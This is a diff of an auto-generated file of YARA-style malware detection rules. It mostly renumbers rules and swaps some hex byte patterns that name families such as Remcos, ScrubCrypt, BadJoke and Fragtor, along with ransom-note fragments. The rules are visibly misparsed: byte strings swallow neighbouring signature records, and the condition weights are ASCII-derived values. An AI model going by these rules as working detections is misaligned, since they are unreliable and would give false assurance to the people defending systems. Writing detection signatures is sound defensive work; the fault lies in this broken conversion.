((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9628{ +rule _InfrastructureShared_10239{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -103731,7 +110438,7 @@ rule _InfrastructureShared_9628{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9629{ +rule _InfrastructureShared_10240{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -103741,7 +110448,7 @@ rule _InfrastructureShared_9629{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9630{ +rule _InfrastructureShared_10241{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -103751,7 +110458,7 @@ rule _InfrastructureShared_9630{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9631{ +rule _InfrastructureShared_10242{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -103761,7 +110468,7 @@ rule _InfrastructureShared_9631{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9632{ +rule _InfrastructureShared_10243{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -103771,7 +110478,7 @@ rule _InfrastructureShared_9632{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9633{ +rule _InfrastructureShared_10244{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -103781,7 +110488,7 @@ rule _InfrastructureShared_9633{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9634{ +rule _InfrastructureShared_10245{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -103791,7 +110498,7 @@ rule _InfrastructureShared_9634{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9635{ +rule _InfrastructureShared_10246{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -103801,7 +110508,7 @@ rule _InfrastructureShared_9635{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_9636{ +rule _InfrastructureShared_10247{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -103811,7 +110518,7 @@ rule _InfrastructureShared_9636{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_9637{ +rule _InfrastructureShared_10248{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -103821,7 +110528,7 @@ rule _InfrastructureShared_9637{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_9638{ +rule _InfrastructureShared_10249{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -103831,7 +110538,7 @@ rule _InfrastructureShared_9638{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_9639{ +rule _InfrastructureShared_10250{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -103842,7 +110549,7 @@ rule _InfrastructureShared_9639{ ((#a_46_0 & 1)*16675+(#a_3b_1 & 1)*13172) >=1 } -rule _InfrastructureShared_9640{ +rule _InfrastructureShared_10251{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -103852,7 +110559,7 @@ rule _InfrastructureShared_9640{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_9641{ +rule _InfrastructureShared_10252{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -103863,7 +110570,7 @@ rule _InfrastructureShared_9641{ ((#a_46_0 & 1)*16675+(#a_29_1 & 1)*11574) >=1 } -rule _InfrastructureShared_9642{ +rule _InfrastructureShared_10253{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -103874,7 +110581,7 @@ rule _InfrastructureShared_9642{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*144) >=1 } -rule _InfrastructureShared_9643{ +rule _InfrastructureShared_10254{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -103885,7 +110592,7 @@ rule _InfrastructureShared_9643{ ((#a_54_0 & 1)*18467+(#a_0d_1 & 1)*4088) >=1 } -rule _InfrastructureShared_9644{ +rule _InfrastructureShared_10255{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -103896,7 +110603,7 @@ rule _InfrastructureShared_9644{ ((#a_46_0 & 1)*16675+(#a_96_1 & 1)*4553) >=1 } -rule _InfrastructureShared_9645{ +rule _InfrastructureShared_10256{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -103909,7 +110616,7 @@ rule _InfrastructureShared_9645{ ((#a_54_0 & 1)*18467+(#a_5c_1 & 1)*3328+(#a_30_2 & 1)*30768+(#a_6b_3 & 1)*24944) >=1 } -rule _InfrastructureShared_9646{ +rule _InfrastructureShared_10257{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -103922,7 +110629,7 @@ rule _InfrastructureShared_9646{ ((#a_6c_0 & 1)*16675+(#a_00_2 & 1)*108+(#a_44_3 & 1)*14850+(#a_65_4 & 1)*17219) >=1 } -rule _InfrastructureShared_9647{ +rule _InfrastructureShared_10258{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -103932,7 +110639,7 @@ rule _InfrastructureShared_9647{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_9648{ +rule _InfrastructureShared_10259{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -103943,7 +110650,7 @@ rule _InfrastructureShared_9648{ ((#a_46_0 & 1)*16675+(#a_24_1 & 1)*-14736) >=2 } -rule _InfrastructureShared_9649{ +rule _InfrastructureShared_10260{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -103954,7 +110661,7 @@ rule _InfrastructureShared_9649{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*4240) >=2 } -rule _InfrastructureShared_9650{ +rule _InfrastructureShared_10261{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -103965,7 +110672,7 @@ rule _InfrastructureShared_9650{ ((#a_54_0 & 1)*18467+(#a_18_1 & 1)*4357) >=2 } -rule _InfrastructureShared_9651{ +rule _InfrastructureShared_10262{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -103976,7 +110683,7 @@ rule _InfrastructureShared_9651{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*28233) >=2 } -rule _InfrastructureShared_9652{ +rule _InfrastructureShared_10263{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -103986,7 +110693,7 @@ rule _InfrastructureShared_9652{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_9653{ +rule _InfrastructureShared_10264{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -103998,7 +110705,7 @@ rule _InfrastructureShared_9653{ ((#a_46_0 & 1)*16675+(#a_19_1 & 1)*1+(#a_17_2 & 1)*4508) >=2 } -rule _InfrastructureShared_9654{ +rule _InfrastructureShared_10265{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -104010,7 +110717,7 @@ rule _InfrastructureShared_9654{ ((#a_54_0 & 1)*18467+(#a_0b_1 & 1)*2835+(#a_0c_2 & 1)*9473) >=2 } -rule _InfrastructureShared_9655{ +rule _InfrastructureShared_10266{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -104022,20 +110729,31 @@ rule _InfrastructureShared_9655{ ((#a_46_0 & 1)*16675+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=2 } -rule _InfrastructureShared_9656{ +rule _InfrastructureShared_10267{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " strings : $a_54_0 = {3a 42 6c 61 63 6b 45 6e 65 72 67 79 2e 41 31 00 01 00 1e 01 0f 83 f5 01 00 00 c6 85 c4 fe ff ff 00 8b 45 e4 c1 e0 05 8b 4d e8 83 7c 01 08 01 75 14 68 01 00 1b 01 b8 6b 00 00 00 66 89 45 e4 b8 65 00 00 00 66 89 45 e6 b8 72 00 00 00 66 89 45 e8 01 00 } //18467 - $a_60_1 = {8a 76 6a 01 e8 90 01 02 ff ff 89 45 fc 8b 45 08 90 00 01 00 13 01 c1 c1 0f 03 ca 8b f0 f7 d6 0b f1 03 5f 24 33 f2 8d 9c 33 00 00 78 8f 00 00 03 00 03 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 63 72 75 62 43 72 79 70 74 2e 41 53 52 21 4d 54 42 00 02 00 44 03 06 0c 08 04 28 90 01 01 00 00 } //789 - $a_02_2 = {8e 69 6a 28 90 01 01 00 00 } //3334 - $a_12_3 = {28 90 01 01 00 00 06 26 02 16 09 02 8e 69 28 90 01 01 00 00 0a 00 09 02 8e 69 6a 28 90 01 01 00 00 0a 07 12 00 28 90 00 01 00 16 01 53 00 63 00 72 00 75 00 62 00 42 00 79 00 70 00 61 00 73 00 } //7946 + $a_60_1 = {8a 76 6a 01 e8 90 01 02 ff ff 89 45 fc 8b 45 08 90 00 01 00 13 01 c1 c1 0f 03 ca 8b f0 f7 d6 0b f1 03 5f 24 33 f2 8d 9c 33 00 00 78 8f 00 00 03 00 03 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 65 6d 63 6f 73 2e 41 52 4f 53 21 4d 54 42 00 01 00 53 03 8d 4c 24 14 e8 90 01 04 68 c8 d7 } //789 + $a_4c_2 = {24 e8 90 01 04 8d 44 24 20 50 8d 4c 24 18 e8 90 01 04 8d 4c 24 20 e8 90 01 04 68 e4 d7 46 00 8d 4c 24 24 e8 90 01 04 8d 44 24 20 50 8d 4c 24 18 e8 90 01 04 8d 4c 24 20 e8 90 01 04 68 f4 d7 46 00 90 00 02 00 08 01 52 65 6d 63 6f 73 20 76 00 00 78 8f 00 00 03 00 03 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 63 72 75 62 43 72 79 70 74 2e 41 53 52 21 4d 54 42 00 02 00 44 03 06 0c 08 04 28 90 01 01 00 } //70 + $a_09_3 = {02 8e 69 6a 28 90 01 01 00 00 0a 1f 40 } //1536 condition: - ((#a_54_0 & 1)*18467+(#a_60_1 & 1)*789+(#a_02_2 & 1)*3334+(#a_12_3 & 1)*7946) >=2 + ((#a_54_0 & 1)*18467+(#a_60_1 & 1)*789+(#a_4c_2 & 1)*70+(#a_09_3 & 1)*1536) >=2 } -rule _InfrastructureShared_9657{ +rule _InfrastructureShared_10268{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 65 6d 63 6f 73 2e 41 52 4f 53 21 4d 54 42 00 01 00 53 03 8d 4c 24 14 e8 90 01 04 68 c8 d7 46 00 8d 4c 24 24 e8 90 01 04 8d 44 24 20 50 8d 4c 24 18 e8 90 01 04 8d 4c 24 20 e8 90 01 04 68 e4 d7 46 00 8d 4c } //18467 + $a_90_1 = {04 8d 44 24 20 50 8d 4c 24 18 e8 90 01 04 8d 4c 24 20 e8 90 01 04 68 f4 d7 46 00 90 00 02 00 08 01 52 65 6d 63 6f 73 20 76 00 00 78 8f 00 00 03 00 03 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 63 72 75 62 43 72 79 70 74 2e 41 53 52 21 4d 54 42 00 02 00 44 03 06 0c 08 04 28 90 01 01 00 00 06 0d 09 02 8e 69 6a 28 90 01 01 00 00 0a 1f 40 12 01 28 90 01 01 00 00 06 26 02 16 09 02 8e 69 28 90 01 01 00 00 0a 00 09 02 8e 69 6a 28 90 01 01 00 00 0a 07 12 00 28 90 00 01 00 16 01 53 00 63 00 72 00 75 00 62 00 42 00 79 00 70 00 61 00 73 00 73 00 00 00 78 8f 00 00 03 00 03 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4f 79 73 74 65 72 2e 4f 59 52 21 4d 54 } //9252 + condition: + ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*9252) >=3 + +} +rule _InfrastructureShared_10269{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " @@ -104046,7 +110764,7 @@ rule _InfrastructureShared_9657{ ((#a_4c_0 & 1)*21539+(#a_16_1 & 1)*9734) >=3 } -rule _InfrastructureShared_9658{ +rule _InfrastructureShared_10270{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " @@ -104056,30 +110774,18 @@ rule _InfrastructureShared_9658{ ((#a_4c_0 & 1)*21539) >=3 } -rule _InfrastructureShared_9659{ +rule _InfrastructureShared_10271{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_46_0 = {48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 42 61 64 4a 6f 6b 65 2e 41 21 62 69 74 00 01 00 16 01 40 00 73 00 63 00 61 00 6d 00 6d 00 65 00 72 00 2e 00 69 00 6e 00 02 00 32 01 79 00 6f 00 75 00 72 00 20 00 66 00 69 00 6c } //16675 - $a_00_2 = {72 00 65 00 20 00 65 00 6e 00 63 00 72 00 79 00 70 00 74 00 65 00 64 00 2e 00 01 00 0e 01 56 00 4c 00 6f 00 63 00 6b 00 65 00 72 00 00 00 78 8f 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 42 6f 6c 64 62 61 64 67 65 72 2e 47 41 21 4d 54 42 00 01 00 23 01 } //32 + $a_00_2 = {72 00 65 00 20 00 65 00 6e 00 63 00 72 00 79 00 70 00 74 00 65 00 64 00 2e 00 01 00 0e 01 56 00 4c 00 6f 00 63 00 6b 00 65 00 72 00 00 00 78 8f 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 59 32 56 3a 43 79 62 65 72 5f 53 61 66 65 74 79 5f 53 6f 6c 75 74 69 6f 6e 73 5f 54 72 65 6e 64 5f 4d 69 } //32 condition: ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*32) >=3 } -rule _InfrastructureShared_9660{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 42 6f 6c 64 62 61 64 67 65 72 2e 47 41 21 4d 54 42 00 01 00 23 01 c6 44 24 60 61 c6 44 24 61 63 c6 44 24 62 39 c6 44 24 63 5a c6 44 24 64 73 c6 44 24 65 77 c6 44 24 66 00 02 00 1a 01 32 84 } //16675 - $a_1c_1 = {48 8b 54 24 38 88 04 0a 48 83 c1 01 48 39 4c 24 40 77 ba 01 00 19 01 48 89 c8 49 89 c8 48 89 cf 49 f7 e1 49 29 d0 49 d1 e8 4c 01 c2 48 c1 ea 04 00 00 78 8f 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 59 32 56 3a 43 79 62 65 72 5f 53 61 66 65 74 79 5f 53 6f 6c 75 74 69 6f 6e 73 5f 54 72 65 6e 64 5f 4d 69 2f 49 72 6f 6e 54 69 67 65 72 5f 52 65 61 64 50 57 44 38 } //-9191 - $a_00_2 = {13 } //54 - condition: - ((#a_46_0 & 1)*16675+(#a_1c_1 & 1)*-9191+(#a_00_2 & 1)*54) >=3 - -} -rule _InfrastructureShared_9661{ +rule _InfrastructureShared_10272{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -104091,7 +110797,7 @@ rule _InfrastructureShared_9661{ ((#a_46_0 & 1)*16675+(#a_56_1 & 1)*21313+(#a_46_2 & 1)*19280) >=3 } -rule _InfrastructureShared_9662{ +rule _InfrastructureShared_10273{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -104103,7 +110809,7 @@ rule _InfrastructureShared_9662{ ((#a_54_0 & 1)*18467+(#a_30_1 & 1)*11608+(#a_00_2 & 1)*68) >=3 } -rule _InfrastructureShared_9663{ +rule _InfrastructureShared_10274{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -104114,7 +110820,7 @@ rule _InfrastructureShared_9663{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*30322) >=3 } -rule _InfrastructureShared_9664{ +rule _InfrastructureShared_10275{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -104125,7 +110831,7 @@ rule _InfrastructureShared_9664{ ((#a_54_0 & 1)*18467+(#a_52_1 & 1)*29541) >=3 } -rule _InfrastructureShared_9665{ +rule _InfrastructureShared_10276{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -104137,7 +110843,7 @@ rule _InfrastructureShared_9665{ ((#a_54_0 & 1)*18467+(#a_f4_1 & 1)*-29882+(#a_2f_2 & 1)*18771) >=3 } -rule _InfrastructureShared_9666{ +rule _InfrastructureShared_10277{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -104148,7 +110854,7 @@ rule _InfrastructureShared_9666{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*101) >=3 } -rule _InfrastructureShared_9667{ +rule _InfrastructureShared_10278{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -104160,7 +110866,7 @@ rule _InfrastructureShared_9667{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*29813+(#a_72_2 & 1)*29741) >=3 } -rule _InfrastructureShared_9668{ +rule _InfrastructureShared_10279{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -104172,7 +110878,7 @@ rule _InfrastructureShared_9668{ ((#a_46_0 & 1)*21283+(#a_6c_1 & 1)*24931+(#a_c7_2 & 1)*12612) >=3 } -rule _InfrastructureShared_9669{ +rule _InfrastructureShared_10280{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -104183,7 +110889,7 @@ rule _InfrastructureShared_9669{ ((#a_46_0 & 1)*21283+(#a_24_2 & 1)*-29880) >=3 } -rule _InfrastructureShared_9670{ +rule _InfrastructureShared_10281{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -104195,7 +110901,7 @@ rule _InfrastructureShared_9670{ ((#a_4c_0 & 1)*21539+(#a_90_1 & 1)*6517+(#a_00_2 & 1)*29793) >=3 } -rule _InfrastructureShared_9671{ +rule _InfrastructureShared_10282{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -104208,19 +110914,58 @@ rule _InfrastructureShared_9671{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_8f_3 & 1)*0) >=3 } -rule _InfrastructureShared_9672{ +rule _InfrastructureShared_10283{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " strings : $a_77_0 = {69 3a 48 53 54 52 3a 50 72 6f 67 72 61 6d 46 69 6c 65 53 63 6f 75 74 00 03 00 20 01 5c 00 73 00 68 00 65 00 6c 00 6c 00 5c 00 66 00 69 00 6c 00 65 00 73 00 63 00 6f 00 75 00 74 00 02 00 1e 01 2f 00 73 00 75 00 00 00 2f 00 73 00 63 00 00 00 2f 00 75 00 00 00 00 00 2f 00 69 00 00 00 01 00 12 01 66 00 69 00 6c 00 65 00 73 00 63 00 6f } //19491 $a_01_2 = {66 69 6c 65 73 63 6f 75 74 } //1 filescout - $a_8f_3 = {00 04 00 04 00 03 00 21 23 54 45 4c 3a 57 69 6e 36 34 2f 43 56 45 2d 32 30 32 34 2d 33 38 30 37 37 2e 41 00 03 00 25 01 65 6d 61 69 6c 2e 71 75 6f 70 72 69 6d 69 6d 65 29 03 72 02 00 00 00 69 fb 3e 04 00 69 86 0e 00 00 29 02 fa 0b 03 00 25 01 65 6d 61 69 6c 2e 71 75 6f 70 72 69 6d 69 6d 65 29 03 72 02 00 00 00 69 fc 3e 04 00 69 86 0e 00 00 29 02 fa 0b 01 00 } //0 + $a_8f_3 = {00 03 00 03 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 4d 61 6e 61 67 65 73 79 73 74 65 6d 61 63 63 65 73 73 2e 50 52 21 41 4d 54 42 00 01 00 0d 81 01 43 72 65 61 74 65 53 65 72 76 69 63 65 01 00 0c 81 01 53 74 61 72 74 53 65 72 76 69 63 65 01 00 12 81 01 57 72 69 74 65 50 72 6f 66 69 6c 65 53 74 72 69 6e 67 01 00 0d 81 01 52 65 67 53 65 74 56 61 6c 75 } //0 condition: ((#a_77_0 & 1)*19491+(#a_01_2 & 1)*1+(#a_8f_3 & 1)*0) >=3 } -rule _InfrastructureShared_9673{ +rule _InfrastructureShared_10284{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 4d 61 6e 61 67 65 73 79 73 74 65 6d 61 63 63 65 73 73 2e 50 52 21 41 4d 54 42 00 01 00 0d 81 01 43 72 65 61 74 65 53 65 72 76 69 63 65 01 00 0c 81 01 53 74 61 72 74 53 65 72 76 69 63 65 01 00 12 81 01 57 72 69 74 65 50 72 6f 66 } //18467 + $a_53_1 = {72 69 6e 67 01 00 0d 81 01 52 65 67 53 65 74 56 61 6c 75 65 45 78 01 00 0e 81 01 52 65 67 43 72 65 61 74 65 4b 65 79 45 78 00 00 78 8f 00 00 03 00 03 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 53 79 73 74 65 6d 49 6e 66 6f 72 6d 61 74 69 6f 6e 2e 50 52 21 41 4d 54 42 00 01 00 0d 81 01 47 65 74 53 } //27753 + $a_65_2 = {49 6e 66 6f 01 00 0c 81 01 47 65 74 56 65 72 73 69 6f 6e 45 78 01 00 14 81 01 47 6c 6f 62 61 6c 4d 65 6d 6f 72 79 53 74 61 74 75 73 45 78 01 00 0f 81 01 47 65 74 43 6f 6d 70 75 74 65 72 4e 61 6d 65 01 00 0b 81 01 47 65 74 55 73 65 72 4e 61 6d 65 00 00 78 8f 00 00 04 00 04 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 72 } //29561 + $a_6f_3 = {2e 41 52 41 58 21 4d 54 42 00 02 00 43 03 46 81 e6 ff 00 00 00 8d 7f 01 0f b6 54 33 90 01 01 03 c2 25 ff 00 00 00 0f b6 4c 03 90 01 01 88 4c 33 08 88 54 03 08 02 d1 0f b6 ca 8b 55 08 8a 4c 19 90 01 01 32 4c 3a ff ff 4d fc 88 4f ff 75 c5 90 00 02 00 16 80 01 4b 65 65 50 61 73 73 20 48 65 6c 70 65 72 20 55 74 69 6c 69 74 79 00 00 78 8f 00 00 04 00 } //26465 + $a_00_4 = {21 23 54 } //4 !#T + condition: + ((#a_54_0 & 1)*18467+(#a_53_1 & 1)*27753+(#a_65_2 & 1)*29561+(#a_6f_3 & 1)*26465+(#a_00_4 & 1)*4) >=3 + +} +rule _InfrastructureShared_10285{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 53 79 73 74 65 6d 49 6e 66 6f 72 6d 61 74 69 6f 6e 2e 50 52 21 41 4d 54 42 00 01 00 0d 81 01 47 65 74 53 79 73 74 65 6d 49 6e 66 6f 01 00 0c 81 01 47 65 74 56 65 72 73 69 6f 6e 45 78 01 00 14 81 01 47 6c 6f 62 61 6c 4d 65 6d 6f } //18467 + $a_74_1 = {74 75 73 45 78 01 00 0f 81 01 47 65 74 43 6f 6d 70 75 74 65 72 4e 61 6d 65 01 00 0b 81 01 47 65 74 55 73 65 72 4e 61 6d 65 00 00 78 8f 00 00 04 00 04 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 72 61 67 74 6f 72 2e 41 52 } //31090 + $a_4d_2 = {42 00 02 00 43 03 46 81 e6 ff 00 00 00 8d 7f 01 0f b6 54 33 90 01 01 03 c2 25 ff 00 00 00 0f b6 4c } //22593 + $a_01_3 = {88 } //-28669 + $a_88_4 = {03 08 02 d1 0f b6 ca 8b } //13132 + condition: + ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*31090+(#a_4d_2 & 1)*22593+(#a_01_3 & 1)*-28669+(#a_88_4 & 1)*13132) >=3 + +} +rule _InfrastructureShared_10286{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 72 61 67 74 6f 72 2e 41 52 41 58 21 4d 54 42 00 02 00 43 03 46 81 e6 ff 00 00 00 8d 7f 01 0f b6 54 33 90 01 01 03 c2 25 ff 00 00 00 0f b6 4c 03 90 01 01 88 4c 33 08 88 54 03 08 02 d1 0f b6 ca 8b 55 08 8a } //18467 + $a_01_1 = {01 32 4c 3a ff ff 4d fc 88 4f ff 75 c5 90 00 02 00 16 80 01 4b 65 65 50 61 73 73 20 48 65 6c 70 65 72 20 55 74 69 6c 69 74 79 00 00 78 8f 00 00 04 00 04 00 03 00 21 23 54 45 4c 3a 57 69 6e 36 34 2f 43 56 45 2d 32 30 32 34 2d 33 38 30 37 37 2e 41 00 03 00 25 01 65 6d 61 69 6c 2e 71 75 6f 70 72 69 6d 69 6d 65 29 03 72 02 00 00 00 69 fb 3e 04 00 69 86 0e 00 00 29 02 fa 0b 03 00 25 01 65 6d 61 69 6c 2e 71 75 6f 70 72 69 6d 69 6d 65 } //6476 + condition: + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*6476) >=4 + +} +rule _InfrastructureShared_10287{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " @@ -104232,7 +110977,7 @@ rule _InfrastructureShared_9673{ ((#a_4c_0 & 1)*21539+(#a_6c_1 & 1)*24941+(#a_5f_2 & 1)*17739) >=4 } -rule _InfrastructureShared_9674{ +rule _InfrastructureShared_10288{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -104245,7 +110990,7 @@ rule _InfrastructureShared_9674{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*28277+(#a_61_2 & 1)*28514+(#a_00_3 & 1)*111) >=4 } -rule _InfrastructureShared_9675{ +rule _InfrastructureShared_10289{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -104258,7 +111003,7 @@ rule _InfrastructureShared_9675{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*24940+(#a_03_2 & 1)*30859+(#a_73_3 & 1)*23553) >=4 } -rule _InfrastructureShared_9676{ +rule _InfrastructureShared_10290{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -104271,7 +111016,7 @@ rule _InfrastructureShared_9676{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*27142+(#a_57_2 & 1)*21076+(#a_63_3 & 1)*28271) >=4 } -rule _InfrastructureShared_9677{ +rule _InfrastructureShared_10291{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -104284,7 +111029,7 @@ rule _InfrastructureShared_9677{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*29548+(#a_76_2 & 1)*8302+(#a_31_3 & 1)*17991) >=4 } -rule _InfrastructureShared_9678{ +rule _InfrastructureShared_10292{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " 